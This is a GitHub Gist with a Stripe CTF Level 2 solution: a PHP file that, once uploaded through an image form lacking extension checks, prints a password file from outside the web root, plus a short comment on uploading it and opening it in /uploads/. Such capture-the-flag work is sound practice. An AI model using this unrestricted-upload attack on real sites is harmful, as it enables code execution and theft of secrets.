Created
August 28, 2012 01:53
-
-
Save bubba-h57/b3bed567e380728f67ee to your computer and use it in GitHub Desktop.
Stripe CTF Level 2 - Solution File Upload Vulnerability
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<title>Bubba Hacks Level 2 Server</title> | |
</head> | |
<body> | |
<h1>Your Level 3 Password</h1> | |
<?php echo file_get_contents('../password.txt'); ?> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Looking at this, we have an 'uploads' directory that that we can access, and a form that we can use to upload images. They have no security in place to check for file-specific file extensions at all. Let's try uploading a file, but not an image--a php script.
Then just browse to the /uploads/ dir and click on your uploaded php file.